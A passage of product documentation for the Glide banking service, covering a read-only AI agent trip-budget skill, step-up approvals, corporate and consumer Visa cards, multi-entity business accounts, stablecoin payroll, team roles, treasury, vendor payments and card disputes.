* **Budget** (e.g., \$2,000)
Tag the relevant card to the trip, or use a virtual card you issued just for the trip. Every charge auto-tags to the trip context.
Now ask Claude things like:
* "How much have I spent so far?"
* "What's my biggest expense this week?"
* "At my current pace, will I run over budget?"
* "Categorize my spend — how much went to food vs hotels vs ground transport?"
Claude calls Glide's read-only tools, gets the data, and answers.
## What the agent can do
* **`trip.list`** — list your active trips.
* **`trip.balance`** — current spend, remaining budget, days left.
* **`trip.transactions`** — transactions tagged to the trip.
* **`trip.forecast`** — projected total spend at current pace.
That's it. No `payments.*` tools. No `cards.*` modify tools. No `beneficiary.*` writes. The skill exists to give you a feel for what an MCP-connected agent looks like before you install one that touches money.
## Why this is the right first skill
* **Zero risk.** Nothing moves. Nothing approves. The worst-case outcome is Claude tells you the wrong number, which you'd catch anyway.
* **Fast setup.** Install takes a minute. No vendor binding (no QBO, no Xero, no payroll provider).
* **Familiar UX.** It's the kind of agent task you might have used elsewhere — "summarize this data" — but with structured access to your live banking data instead of a CSV you uploaded.
## Try it before installing AP or Treasury
If you're new to agent banking, install Trip budget first. Use it for a week. Get a feel for how the audit feed looks, how Claude calls the tools, what the policy envelope evaluates (even read-only tools have an envelope — it just has nothing to enforce). Then graduate to AP or Treasury once the pattern feels familiar.
## Next
* [Quickstart](/agents/quickstart)
* [Receipts](/agents/receipts) — what the audit feed looks like.
* [Skills catalog](/agents/skills/catalog)
# Step-up approvals
Source: https://glide-9da73dea.mintlify.app/agents/step-up
When an agent's action crosses your envelope threshold, you get a one-time approval prompt. Face ID, passkey, or your two-factor method.
Step-up is how Glide hands control back to you the human at exactly the right moment. The agent does the work, finds the next thing to do, computes that it crosses your envelope threshold, and pauses. You get a notification. You approve in the dashboard or app. The agent continues.
## When step-up triggers
Any of:
* The transaction amount exceeds the envelope's **step-up threshold**.
* The counterparty isn't in your allowlist (and the skill template treats out-of-allowlist as step-up).
* The transaction velocity would exceed the rolling-window cap.
* The risk model returns a `flag` verdict.
* The agent is requesting a sensitive write (e.g., adding to the beneficiary allowlist, changing the policy envelope itself).
For most consumer skills, the default is "every transaction asks." For higher-trust skills (e.g., Trip budget, which is read-only), step-up never triggers.
## What you see
The dashboard shows a step-up card with:
* **Which agent** is asking.
* **Which tool** it wants to call.
* **The amount and counterparty** (or a redacted preview if it's a non-money tool).
* **The natural-language explanation** — an LLM-generated summary of what the agent's about to do, in plain English.
* **A diff view** — before/after state if the action would change something.
* **The before-and-after policy** — if the agent is asking to change envelope settings.
You also get a push notification. Approve from the lock screen with Face ID; or open the dashboard to see full detail before approving.
## How to approve
| Surface | How |
| ------------- | ------------------------------------------------------- |
| Phone push | Face ID or fingerprint, directly from the lock screen |
| Mobile app | Tap the step-up card, biometric or passcode |
| Web dashboard | Tap **Approve**, then your passkey or two-factor method |
If you're not at a device, you can decline: tap **Decline** and the agent gets a structured rejection. The agent can ask "should I try a different amount?" or "want me to skip this one?" depending on how the skill's prompt is written.
## How step-up is bound to a single call
Every step-up generates a **single-use sigil** — a one-time token that authorizes the specific tool call you approved. Once consumed, the sigil is invalidated. Replay attacks can't use the same sigil to approve a different call.
If the agent retries the same tool call (e.g., the network blipped between approval and broadcast), it has to ask for a fresh sigil. This is intentional: every successful tool call is paired with exactly one human approval.
## URL-mode elicitation
Some runtimes can't render step-up prompts inline (older chat surfaces, voice-only interfaces, headless agents). In those cases, the agent gets back a **step-up URL** — a link you open in the dashboard or mobile app, which surfaces the same approval card.
You'll see this most commonly in:
* Voice-mode agents (Apple Intelligence summary mode, ChatGPT Voice).
* IDE-embedded coding agents that don't have a chat-style approval UI.
* Server-side agent frameworks that don't have a user attention surface.
In every case, the URL mode preserves the same single-use sigil + cryptographic chain — just with a different rendering surface.
## What you can't bypass
You can't disable step-up entirely. The minimum step-up threshold for any money-touching skill is whatever the skill's template defines — typically $0 (every payment asks). You can raise the threshold to "approve everything below $X automatically" but the bar Glide will accept depends on the skill type.
This is an intentional ceiling. The whole pitch of agent banking is "you stay in control." A skill that lets the agent move arbitrary amounts without asking would defeat that pitch.
## Step-up notifications under privacy mode
If you've set push privacy to **minimal** (e.g., for lock-screen privacy in shared spaces), the push only says "Glide step-up requested." You tap to open the app and see the detail. Approval still requires biometric.
If you've set push privacy to **rich**, the push includes the agent name, tool name, amount, and counterparty so you can decide before tapping.
Toggle this in **Settings → Notifications → Privacy mode**.
## Next
* [Policy envelope](/agents/policy-envelope)
* [Receipts](/agents/receipts)
* [Kill switch](/agents/kill-switch)
# Corporate cards
Source: https://glide-9da73dea.mintlify.app/business/corporate-cards
Unlimited Visa cards for your team with per-employee limits, MCC restrictions, and instant freeze.
Business accounts can issue unlimited corporate Visa cards. Each card has its own spending limit, merchant-category restrictions, region restrictions, and freeze controls. No per-card fees from Glide.
## Issue a card
From the dashboard, **Cards → Issue a card → for a teammate**. Pick the teammate (must be invited to the entity); they'll get a notification.
Set:
* **Spending limit** — per-transaction, daily, monthly, lifetime.
* **MCC restrictions** — allowlist, denylist, or open. Travel-only? Software-only? Pick what fits.
* **Region restrictions** — specific countries, or open.
* **Funding currency** — default is USD, but you can pin to any currency the entity holds.
Virtual is instant; the teammate can add it to Apple Pay or Google Pay immediately. Physical takes 5–10 business days.
The teammate sees the card in their dashboard. They can use the virtual immediately; the physical ships to the address they confirm.
## What you can monitor in real time
For every team card, you see:
* Live transaction stream as authorizations arrive from Visa.
* Per-card spend running total against the limits you set.
* MCC distribution (where is the spend actually going?).
* Region distribution (which country is each charge in?).
* Out-of-policy attempts (a teammate trying to spend on a blocked MCC; the charge is denied at the network layer, but you see the attempt).
## Common patterns
### Vendor card
A card with a single allowlisted MCC (or a single allowlisted merchant) and a tight monthly limit. Issued for a specific tool subscription or vendor relationship. Can't be used for anything else, even if the card details leak.
### Travel card
A card with a generous transaction limit, **MCC allowlist** for travel categories (airlines, hotels, restaurants, ground transport), and a **region allowlist** for the country the teammate is traveling to. Auto-expires (set lifetime limit equal to expected trip spend).
### Default operating card
A card with the entity's standard team-spend limit ($X/day, $Y/month), no MCC restrictions, no region restrictions. The teammate's general-purpose card.
### Founder card
Higher limits than team cards, possibly with multi-approval flow on charges over a threshold. For founders who occasionally need to handle larger one-off costs (legal fees, off-cycle vendor payments).
## Foreign-transaction handling
Glide doesn't add a foreign-transaction fee. When a teammate's card is charged in EUR while the card is funded in USD, the conversion happens at the live mid-market rate. The amount that comes out of the entity's USD balance is exactly the USD-equivalent of the EUR charge, no spread.
## Freeze and replace
Anyone with **Admin** or **Finance** role can freeze any card on the entity instantly. From **Cards → pick the card → Freeze**. Freeze is reversible; **Replace** issues a new PAN and permanently voids the old one.
Auto-freeze on teammate removal is the default behavior — when you remove a teammate, their cards are frozen automatically. Override at **Settings → Team policy** if you want different behavior (e.g., keep the card live for 30 days post-departure to handle final reimbursements).
## Reconciliation
Card transactions sync into your accounting tool via the QuickBooks Online or Xero integration (read-only export of card transactions, categorized by MCC and per-card metadata). Auto-categorization handles the common cases; the rest goes to a "needs review" bucket.
For accounts that don't use QBO or Xero, monthly CSV/PDF exports are available from **Cards → Statements**.
## Disputes
Same flow as a personal card. Anyone with Admin or Finance role can file a dispute on any team card. The card's holder gets notified that a dispute was filed.
See [Disputes](/cards/disputes).
## Next
* [Card limits and controls](/cards/limits-and-controls)
* [Apple Pay and Google Pay](/cards/apple-google-pay)
* [Team and roles](/business/team-roles)
# Glide for businesses
Source: https://glide-9da73dea.mintlify.app/business/index
Multi-entity accounts. Stablecoin payroll. Corporate cards. Cross-border payments. From pre-seed to Series C.
Business accounts are personal accounts with three additions: **entity-level structure** (so you can hold multiple companies under one admin), **team workflows** (roles, permissions, approval flows), and **operations features** (payroll, treasury, vendor payments, corporate cards).
The same multi-currency rails, the same stablecoin support, the same Visa cards, the same regulatory footprint. Just structured for how a company actually works.
## Who Glide for business is for
Token projects, DAOs, exchanges, custody businesses. We built compliance around your model.
Pre-seed to Series C. Pay distributed teams across 80+ corridors with stablecoin or fiat.
Multi-entity P\&L tracking. Vendor payments via your existing AP workflow.
Treasury yield, corporate cards with team controls, multi-jurisdiction holdco structures.
## What you get on day one
* **One admin, up to 20 entities.** Subsidiaries, holdcos, special-purpose vehicles, side projects — all under one signed-in user. Switch contexts in the dashboard with one tap.
* **Multi-currency local accounts** per entity. CAD, USD, GBP, EUR, SGD, HKD, AUD, plus 70+ more via FX.
* **Unlimited corporate Visa cards** with per-employee spending limits, MCC restrictions, region restrictions, and instant freeze.
* **Stablecoin payroll** — pay your distributed team in USDC across 80+ corridors. Same UX as fiat payroll; better economics for global teams.
* **Approval workflows** — require multi-party approval on outbound transfers above a threshold.
* **Real-time team activity feed** — see every transaction as it happens.
## How verification works for businesses
Business accounts go through KYB (Know Your Business) on top of standard KYC for each beneficial owner.
**Required at signup:**
* Legal name and registration number of the entity.
* Country of incorporation.
* Beneficial-owner details for any individual with >25% ownership.
* A short description of the business.
**Median verification time** is the same business day. Complex multi-entity structures or unusual jurisdictions may take 2–3 days.
See [Identity verification](/accounts/identity) for what each individual needs to provide.
## Pricing
Business accounts have **no opening fees**, **no monthly fees**, and **no revenue requirements**. You pay the same FX rate (mid-market, zero spread) and the same per-rail transfer fees as a personal account — with **lower per-transaction fees at volume**.
Full pricing at [glide.co/pricing](https://glide.co/pricing).
## Compliance for crypto-native businesses
If you're running a token project, DAO, exchange, custody business, or anything else that involves stablecoin flows at scale, we've built around your model. Your account opens with:
* **A relationship manager** who knows the regulatory analysis of crypto businesses.
* **Pre-built reporting** for the metrics your auditor will ask about (transaction monitoring summaries, sanctions-screening reports, beneficial-owner attestations).
* **Bridge to traditional banking** — we hold reserve accounts at five regulated banking partners across five jurisdictions, so your fiat-side operations have proper banking infrastructure backing them.
Talk to us at [hi@glide.co](mailto:hi@glide.co) before opening if your structure is unusual.
## Next
* [Multi-entity setup](/business/multi-entity)
* [Team roles](/business/team-roles)
* [Corporate cards](/business/corporate-cards)
* [Payroll](/business/payroll)
* [Treasury](/business/treasury)
# Multi-entity setup
Source: https://glide-9da73dea.mintlify.app/business/multi-entity
Hold up to 20 entities under one admin. Subsidiaries, holdcos, SPVs, side projects — all in one dashboard.
If you run more than one company, Glide's multi-entity model lets you operate them all from one signed-in admin without juggling separate accounts.
## What an entity is
An entity is a legal company — LLC, Inc, Ltd, GmbH, etc. Each entity gets:
* Its own KYB (separate from the admin's KYC).
* Its own multi-currency balances (no commingling with other entities).
* Its own corporate cards.
* Its own audit feed and compliance reports.
* Its own beneficial-owner attestations.
The admin user is a separate concept — you, the human, sign in once. Inside the dashboard, you switch context between entities you have access to.
## Setting up
First entity is created during signup. You complete KYB on this entity and KYC on yourself (and any other admins).
From the dashboard, **Settings → Entities → Add entity**. Provide the legal name, registration number, country, and beneficial-owner detail. KYB runs on this entity independently — same business day for typical structures.
Top-left of the dashboard shows the active entity. Tap it to see the entity picker. The dashboard re-renders to show the active entity's balances, cards, payroll, and activity.
## Permission model
Permissions are **per entity**. The admin user has access by default; teammates can be invited per entity with a specific role. A teammate with **Finance** role on Entity A doesn't see anything in Entity B unless they're separately invited there.
See [Team roles](/business/team-roles) for the full role matrix.
## When to use multi-entity vs separate accounts
**Use multi-entity when:**
* You're the same human across all the companies (e.g., you're the founder of multiple).
* You want consolidated reporting at the admin level.
* The companies share a beneficial owner (you).
**Use separate accounts when:**
* The companies have meaningfully different beneficial owners and you don't want one admin user with cross-entity access.
* The companies operate in different jurisdictions where regulatory reasons require separate banking relationships.
* You're an accountant or operator managing multiple unrelated clients (in which case each client opens their own).
## Holdco / opco structures
For holding-company / operating-company setups, both entities live in the dashboard. Internal transfers (holdco ↔ opco) happen via Glide-to-Glide transfers, instant and free. Quarterly true-ups, dividends, intercompany loans — all just transfers in the dashboard, with the audit log automatically reconciled.
If your structure crosses jurisdictions (e.g., Cayman holdco + Delaware opco), each entity gets KYB'd in its own jurisdiction; reporting respects local regulatory requirements.
## SPVs and side projects
A single side project rarely needs its own entity. But if you've got a side project that's:
* Generating non-trivial revenue.
* Has external co-founders or contributors.
* Will eventually spin out.
then giving it its own entity from day one keeps the books clean. Add it via **Settings → Entities → Add entity**; takes a day.
## Limit: 20 entities per admin
For most users this is far above what they need. If you're a holding-co operator managing 20+ entities, talk to us — we'll set you up with a structure that scales (typically a parent admin with delegated sub-admins per cluster).
## Next
* [Team roles](/business/team-roles)
* [Corporate cards](/business/corporate-cards)
* [Identity verification](/accounts/identity)
# Stablecoin payroll
Source: https://glide-9da73dea.mintlify.app/business/payroll
Pay your distributed team in USDC across 80+ corridors. Same UX as fiat payroll; better economics for global teams.
If you have a distributed team across multiple countries, traditional payroll providers either don't serve every corridor you need or layer 3–5% in FX margin on every payment. Glide's stablecoin payroll lets you pay everyone in USDC, with optional auto-convert to local fiat at the recipient's end.
## How it works
You set up a payroll run the way you would with any payroll provider:
* Add team members with their preferred receiving method (USDC wallet, Glide account, local bank).
* Enter amounts and cadence (monthly, semi-monthly, weekly).
* Glide computes the run, shows you the total, and queues it.
On payday, Glide:
1. Settles each payment via the rail the recipient picked.
2. For USDC recipients, broadcasts on the chain they specified.
3. For Glide-account recipients, internal transfer (instant, free).
4. For local-bank recipients, runs the FX at mid-market and broadcasts via the local rail.
The run completes in under a minute for typical sizes (50–500 employees).
## What recipients see
* **USDC wallet recipient** — USDC lands in their wallet. No KYC on the recipient side; they're just receiving an on-chain transfer.
* **Glide account recipient** — the recipient sees the transfer in their Glide dashboard. They can hold USDC or convert it to any fiat they prefer.
* **Local bank recipient** — standard bank transfer with a normal-looking sender (your entity name + the payroll reference). Settles via the local rail (ACH, SEPA, Faster Payments, etc.).
## Why this is cheaper than traditional payroll
Traditional global payroll often involves:
* Glide-side FX margin (1–2%).
* Sender-bank wire fees ($25–$50 per international wire).
* Intermediary-bank deductions on SWIFT (\~$15–$30 per hop).
* Recipient-bank receiving fees (varies).
For a $5,000 payment to a contractor in the Philippines via traditional rails, the total cost can hit $200–\$400.
For the same payment via USDC on Polygon: \~\$0.05 in network gas, zero spread on FX. The contractor gets effectively the full amount.
For the same payment via traditional rails on Glide: zero spread on FX, a published flat fee. Total cost is in the single-digit dollars for most corridors.
## Failover and vendor diversity
Glide's payroll engine has multi-rail failover. If a primary rail fails for some reason (e.g., a corridor's local rail has an outage), the run automatically retries via a fallback rail (typically SWIFT or a stablecoin route). The recipient still gets paid; you don't have to chase support.
## Tax handling
Glide doesn't withhold or remit taxes — that's between you and the relevant tax authorities. For US W-2 employees, you'll still want a US payroll provider; Glide is well-suited for **contractor payments** and **non-US team members** where tax handling is the recipient's responsibility.
For complex tax situations (e.g., you need a payroll provider that handles benefits administration), you can layer Glide as the payment-execution rail under a tax-handling provider. Talk to your relationship manager.
## Approval flow
Payroll runs above the entity's threshold trigger multi-approval. Default: any run above the entity's monthly approval threshold requires Finance + Admin approval. Override at **Settings → Approvals**.
## Reporting
Every payroll run generates:
* A summary CSV with each line item.
* A PDF report suitable for accountants.
* An audit trail in your activity feed (every individual payment, every fee, every conversion).
Pull these from **Payroll → History** at any time. Year-end reports are available in January for the prior calendar year.
## Cadence
Most teams run monthly or semi-monthly. Glide supports daily payroll if your operation needs it (e.g., daily-pay creator economy, daily settlement to gig contractors). The engine itself doesn't have a cadence ceiling.
## Next
* [Vendor payments](/business/vendor-payments)
* [Treasury](/business/treasury)
* [Stablecoin overview](/stablecoins/overview)
# Team and roles
Source: https://glide-9da73dea.mintlify.app/business/team-roles
Invite teammates per entity with role-based access. Approval flows for high-value transfers.
Business accounts support multi-user access with role-based permissions. Each teammate is invited per entity; their access doesn't leak across entities they're not on.
## Role matrix
| Role | View balances | Issue cards | Initiate transfers | Approve transfers | Modify policy / team |
| ------------ | ------------- | ----------- | --------------------- | --------------------- | -------------------- |
| **Admin** | Yes | Yes | Yes | Yes | Yes |
| **Finance** | Yes | Yes | Yes | Yes (under threshold) | No |
| **Operator** | Yes | No | Yes (under threshold) | No | No |
| **Viewer** | Yes | No | No | No | No |
A **threshold** is the per-entity multi-approval policy you've configured. Below the threshold, single-Operator approval is sufficient. Above, two parties must approve.
## Inviting a teammate
From the dashboard, **Settings → Team → Invite teammate**.
Choose which entity the teammate gets access to. They can be invited to multiple entities, but each invite is separate.
Admin / Finance / Operator / Viewer. The role dictates what they can do once they accept.
They get an email with a link. They sign up (or sign in if they already have a Glide account), complete KYC if it's their first business-account access, and the role takes effect.
## Multi-approval thresholds
Set a threshold: any outbound transfer above \$X requires approval from two team members. Defaults:
* **\<\$10,000:** single Operator or Finance approval.
* **$10,000–$100,000:** Finance + one other Finance/Admin.
* **>\$100,000:** Finance + Admin.
Override at **Settings → Approvals**. You can set per-entity thresholds and even per-currency thresholds (e.g., USDC sends require multi-approval at lower amounts than fiat wires).
## Approval flow in practice
When a transfer requires multi-approval, the initiator drafts and submits the transfer. It enters a **pending** state in the audit feed. The required approver(s) get push notifications.
Each approver opens the transfer detail, reviews the amount, recipient, rail, and notes, then taps **Approve** with biometric. Once all required approvals are in, the transfer broadcasts.
Approvers can **reject** with a reason; the initiator gets the rejection in their feed and can revise + resubmit.
## Removing a teammate
From **Settings → Team → pick the teammate → Remove**. Their access ends immediately. Any cards they had issued can be auto-frozen (default) or kept active (if you want to preserve recurring charges).
Audit history of the teammate's actions stays in the feed; removing access doesn't erase what they did.
## Programmatic team access
For finance teams running automated reconciliation, Glide will publish read-only API access in **Q4 2026**. Until then, manual data export from the dashboard (CSV, PDF, JSON) covers most reconciliation workflows.
## Just-in-time access
For one-off contractors or short engagements, invite as **Viewer**, escalate to **Operator** when needed, and remove access on the engagement's end date. Calendar invites for end-date removal are on the roadmap; for now it's a manual cleanup.
## Next
* [Multi-entity setup](/business/multi-entity)
* [Corporate cards](/business/corporate-cards)
* [Vendor payments](/business/vendor-payments)
# Treasury
Source: https://glide-9da73dea.mintlify.app/business/treasury
Yield on idle USDC and fiat. Allocation across approved strategies. Coming Q2 2026.
Most operating companies hold idle cash that sits earning effectively zero. Glide's treasury features let you put that idle balance to work in low-risk yield strategies — T-bill funds, money-market funds, on-chain USDC vaults — with the same regulatory posture as the rest of your account.
Treasury yield ships **Q2 2026**. The product spec is locked; we're in regulatory review now. Self-hosted stablecoin treasury (manual rebalancing) is available today.
## What it is
Idle balances above an operating threshold can be allocated across:
* **T-bill funds** — short-duration US Treasury exposure via a regulated fund vehicle. Tracks the federal funds rate.
* **Money-market funds** — ultra-short institutional MMFs. Slightly lower yield, slightly higher liquidity.
* **On-chain USDC vaults** — canonical-issuer stablecoin yield products (Maple, Aave, etc.) on the Glide-vetted allowlist. Higher yield, higher mechanism risk.
You set:
* An **operating reserve** — the amount that stays in immediate-spend balance.
* A **target allocation** across the strategies you've enabled (e.g., 60% T-bill / 30% MMF / 10% on-chain).
* A **rebalance cadence** — weekly, monthly, or manual.
When the actual allocation drifts from target by more than a tolerance, a rebalance proposal lands in your dashboard for approval (or executes automatically if you've enabled auto-rebalance).
## Risk layering
Glide's treasury product is structured so that:
* **The principal is custody-isolated.** Your treasury allocation lives in segregated vehicles, not in Glide's commingled funds. If Glide had an operational issue, the treasury allocation is unaffected.
* **Yield is conservative by default.** The default mix is T-bill heavy. On-chain vault exposure is opt-in and capped.
* **Liquidity is fast.** T-bill and MMF allocations can be redeemed within one business day. On-chain vault allocations can be redeemed in seconds, depending on the vault's specific liquidity model.
Yield is not guaranteed. The strategies are low-risk but not zero-risk; specifically, on-chain vaults carry smart-contract risk that's disclosed in the install-time consent flow.
## How agent treasury fits
The [Treasury skill](/agents/skills/treasury) lets Claude propose rebalances inside the strategies you've enabled. This is a layer on top of the underlying treasury product:
* Treasury (the product) defines the strategy menu and the principal-safety posture.
* Treasury skill (the agent capability) lets an AI agent optimize within that menu.
You can use treasury without ever installing the agent skill. The skill is for accounts that want continuous optimization without continuous manual review.
## Pricing
Treasury features have a small management fee (in basis points, charged on the AUM held in yield strategies). The fee is published transparently and is materially below what private banks charge for equivalent services.
Operating-balance funds — everything outside the yield allocation — are unchanged: zero monthly fees, zero spread, same Glide pricing as today.
## When you'll have access
Treasury yield ships **Q2 2026**. We're notifying eligible business accounts as the regulatory rollout completes per jurisdiction. If you want early-access status, talk to your relationship manager.
In the meantime, you can hold USDC in your operating Glide account and rebalance manually via the on-chain vault providers we vet. The mechanics are similar; the cleanness of the product surface is what's coming.
## Next
* [Treasury skill (agent banking)](/agents/skills/treasury)
* [Stablecoins overview](/stablecoins/overview)
* [Vendor payments](/business/vendor-payments)
# Vendor payments
Source: https://glide-9da73dea.mintlify.app/business/vendor-payments
Pay vendors via wire, ACH, SEPA, SWIFT, or USDC. Same dashboard. Same approval flow. Same audit trail.
Vendor payments work the same as any other Glide outbound transfer — you pick the rail, you set the recipient, the dashboard quotes the rate and fee, you approve. The business-specific layer is the **approval workflow** and the **vendor allowlist**.
## Vendor allowlist
Most businesses pay a recurring set of vendors. Add each one to your allowlist:
* **Vendor name** — what you'll see in the dashboard and your reports.
* **Account details** — bank account, IBAN, USDC wallet, etc.
* **Default rail** — the rail you'll use most often (override per payment).
* **Default currency** — what they want paid in.
Once allowlisted, future payments are one-tap: pick the vendor, enter the amount, confirm.
## Multi-approval on vendor payments
The same threshold-based approval flow applies. Default thresholds (override at **Settings → Approvals**):
* **\<\$10,000:** single-Operator approval.
* **$10,000–$100,000:** Finance + one other.
* **>\$100,000:** Finance + Admin.
For vendors paid frequently below the threshold, set up a **standing approval** — pre-approved amounts and cadence that don't trigger per-payment review. Useful for SaaS subscriptions, recurring contractor payments, etc.
## Integration with QuickBooks Online and Xero
Glide reads invoices from QBO and Xero (one-way: read-only on the QBO/Xero side; you keep your existing accounting tool as the system of record). When an invoice comes due, the dashboard surfaces it in your **Vendor payments → Due** view. Pay it from there with the rail and approval flow you've configured.
This is the same integration the [AP agent skill](/agents/skills/ap-agent) uses — if you'd like to layer agent-driven drafting on top, install that skill. The underlying integration is the same; the skill just adds an LLM-based pre-screen.
## Cross-border vendor payments
For international vendors, you have three rails:
* **USDC** — if the vendor accepts crypto. Settled in seconds, near-zero gas, no FX margin. Best for crypto-native contractors and global teams who'd rather hold USDC than local fiat.
* **Local rail in the vendor's country** — via Glide's coverage of 80+ corridors. SEPA in EU, Faster Payments in UK, ACH in US, FAST in SG, FPS in HK, etc. Settles in minutes for instant rails, hours for batched rails.
* **SWIFT** — for vendors in countries we don't have a direct local rail to. 1–3 business days. Glide takes a flat sender fee; intermediary banks may deduct.
The dashboard suggests the cheapest, fastest rail for each corridor at quote time. Override if you have a reason.
## Reconciliation
Every vendor payment exports back to QBO or Xero as a paid invoice with the matched reference. Auto-reconciliation handles the typical case; the unusual cases land in a "needs review" bucket.
For accounts not on QBO or Xero, monthly CSV/PDF exports are available from **Vendor payments → Statements**.
## What happens if a payment fails
Bank rails occasionally bounce. If a payment fails for a recoverable reason (incorrect account number, recipient bank rejected the wire, etc.), the funds return to your Glide account and the payment lands in the "failed" tab with the bank's reason code. Re-attempt with corrected details.
For unrecoverable failures (recipient account closed and funds unable to be returned), the audit trail tracks the chain of events; recovery is between you and your bank.
## Next
* [AP agent skill](/agents/skills/ap-agent)
* [Send money](/money/send)
* [Team and roles](/business/team-roles)
# Apple Pay and Google Pay
Source: https://glide-9da73dea.mintlify.app/cards/apple-google-pay
Add your Glide card to your phone wallet in two taps. Tap to pay anywhere contactless is accepted.
Your Glide card works with Apple Pay and Google Pay from the moment it's issued. The virtual card is in your wallet seconds after you tap **Add to Apple Pay** or **Add to Google Pay**.
## Add to Apple Pay
Tap **Cards → pick your card → Add to Apple Pay**.
iOS shows the standard Apple Wallet sheet with your card preview. Tap **Add**.
iOS may ask you to confirm via a one-time code or biometric prompt back in the Glide app. This is Apple's standard flow; the verification finishes in seconds.
Your card is now in Apple Wallet. Hold it near a contactless terminal, double-click your side button, and pay.
## Add to Google Pay
Tap **Cards → pick your card → Add to Google Pay**.
Android shows the standard Google Wallet sheet. Tap **Continue**.
Google Wallet may verify via a one-time code or biometric. The flow takes seconds.
Your card is now in Google Wallet.
## Online payments
Apple Pay and Google Pay work for in-app and online checkouts on supported sites and apps. The same card credentials are used — merchants never see your real PAN, just a token that's tied to your device.
## Watch out for
* **Region locking** — Apple and Google may region-lock the wallet to your phone's primary region. If you're a digital nomad with a phone registered in one country and a Glide account in another, contact us if Apple Pay refuses to provision; we'll diagnose with you.
* **Family sharing** — Apple Cash and Google Pay's family-sharing features don't share Glide cards. Issue a separate card for each family member instead.
* **Watch and wearables** — once your card is in Apple Pay or Google Pay on your phone, you can extend it to Apple Watch and Wear OS devices through the standard wallet flow.
## Tokenization
Every Apple Pay and Google Pay transaction uses a **device-specific token** instead of your real card number. If your phone is stolen, you remove the device token from your iCloud or Google account; the underlying Glide card stays unaffected.
## Next
* [Card limits and controls](/cards/limits-and-controls)
* [Disputes](/cards/disputes)
# Card disputes
Source: https://glide-9da73dea.mintlify.app/cards/disputes
If a charge is wrong, fraudulent, or never delivered, file a dispute. We work with Visa to investigate and refund.
If something's wrong with a charge on your Glide card, file a dispute. We'll work with Visa and the merchant on your behalf. Most disputes resolve in 30–90 days; many resolve faster.
## When to file a dispute
You can dispute a charge for any of these reasons:
* **Unauthorized** — you didn't make this charge and don't recognize the merchant.
* **Duplicate** — you were charged twice for the same purchase.
* **Wrong amount** — the charge doesn't match the receipt or what was agreed.
* **Not received** — you paid for something that never arrived.
* **Defective or not as described** — the goods or services didn't match what was advertised.
* **Subscription cancelled but still billed** — you cancelled but the merchant kept charging.
Try to contact the merchant first for non-fraud cases. Most disputes resolve faster if the merchant just refunds you directly.
## How to file
From your dashboard, tap the transaction (in your card history or in your activity feed).
The dispute form opens with the charge auto-populated.
Choose the dispute reason that fits. Add any context that helps — an order number, a screenshot of the listing, the merchant's response if they refused to refund, a copy of the email you sent to cancel.
Glide files the dispute with Visa. We notify the merchant. The provisional credit lands in your account in 1–3 business days while the investigation runs.
## What happens next
| Stage | What you see | Timeline |
| ------------------ | ------------------------------------------------------------------------------------ | ----------------- |
| Provisional credit | Funds returned pending investigation | 1–3 business days |
| Merchant response | Merchant has 30 days to provide evidence | Up to 30 days |
| Visa decision | Win or loss based on Visa's rules | 30–90 days total |
| Resolution | Provisional credit either becomes permanent (you win) or is reversed (merchant wins) | At decision |
If the merchant wins the dispute, the provisional credit reverses. You can appeal once with new evidence.
## Fraud disputes
For unauthorized charges, the dispute is fast-tracked: provisional credit is immediate, and the card is auto-frozen pending replacement. Tap **Replace card** from the same screen to issue a new one with a new PAN.
If we detect a pattern (e.g., multiple unauthorized charges in a short window), we'll proactively freeze the card and notify you. Don't wait for us — if you see a charge you don't recognize, freeze immediately and dispute.
## What you don't pay
Glide doesn't charge a fee for filing a dispute. Visa's chargeback fee, where applicable, is paid by the merchant.
## Tips that help your dispute win
* **Have a paper trail.** Save receipts, emails, screenshots, and any cancellation confirmations.
* **File quickly.** Visa requires disputes within 60–120 days of the charge depending on reason.
* **Try the merchant first.** A clear "I asked for a refund and they refused" record helps the dispute.
* **Be specific.** "Charged $500, ordered $50 product" is stronger than "wrong amount."
## Next
* [Card limits and controls](/cards/limits-and-controls)
* [Two-factor authentication](/security/two-factor)
# Card limits and controls
Source: https://glide-9da73dea.mintlify.app/cards/limits-and-controls
Set per-card spending limits, freeze and unfreeze, restrict by merchant category, and watch every authorization in real time.
Every Glide card has fine-grained controls. You set them once when you issue the card; you change them any time after.
## Spending limits
For each card, you can set:
* **Per-transaction limit** — the maximum single charge.
* **Daily limit** — rolling 24-hour spending cap.
* **Monthly limit** — calendar-month cap.
* **Lifetime limit** — total spending cap before the card auto-disables (useful for one-off vendor cards).
Limits apply across all currencies; charges convert to your default currency to evaluate against the limit.
## Freeze and unfreeze
From the dashboard, **Cards → pick a card → Freeze** disables the card in under one second. Freeze is reversible — tap **Unfreeze** to bring it back. Use freeze when:
* You can't find the card and want a precaution before reporting it lost.
* You're done with a free-trial subscription and want to make sure you can't be re-billed.
* A specific merchant keeps charging you incorrectly.
## Merchant category restrictions
You can restrict a card by **merchant category code (MCC)** — the standard taxonomy Visa uses to classify merchants.
Common categories you can allow or block:
* **Travel** (airlines, hotels, car rentals).
* **Restaurants and bars**.
* **Streaming and digital services** (Netflix, Spotify, etc.).
* **Online retail** (Amazon, Shopify-stores, etc.).
* **Cash equivalents** (ATMs, money transfer services).
* **Gambling**.
* **Adult content**.
A card with a single allowlisted MCC is the cleanest way to issue a vendor-specific card — e.g., issue a card that only works for AWS, then no other charge can ever land on it.
## Region restrictions
Restrict a card to spend only in specific countries or regions. Useful for travel cards (only the country you're in) or company cards (only the country your team operates in).
## Real-time authorization stream
Every card transaction streams to your dashboard in real time. You see the merchant, the amount, the currency, and the MCC the moment Visa sends us the authorization — before the charge settles. If something looks wrong, freeze the card from the same screen and the next attempt is denied.
## Per-card controls for businesses
Business accounts can issue cards with per-employee controls:
* Set spending limits and MCC restrictions when issuing the card.
* Require a manager approval for charges above a threshold.
* Auto-freeze cards when an employee leaves (one click from the team management screen).
See [Corporate cards](/business/corporate-cards) for the full team workflow.
## Push notifications
Get a push notification on every authorization, every settlement, every limit hit, every decline. From **Settings → Notifications → Cards**, choose:
* **Rich** — the push includes merchant, amount, and currency.
* **Minimal** — the push says "card activity" with no detail; tap to view.
Minimal is the default if you opt for stronger lock-screen privacy.
## Next
* [Apple Pay and Google Pay](/cards/apple-google-pay)
* [Disputes](/cards/disputes)
* [Corporate cards (business)](/business/corporate-cards)
# Visa cards
Source: https://glide-9da73dea.mintlify.app/cards/overview
Physical and virtual Visa cards. No foreign transaction fees from Glide. Apple Pay and Google Pay ready.
Your Glide card is a Visa Signature card issued against your multi-currency balance. Spend in any currency, anywhere Visa is accepted, with no foreign-transaction fees from Glide.
## What you get
* A **virtual card** issued instantly the moment your account is funded.
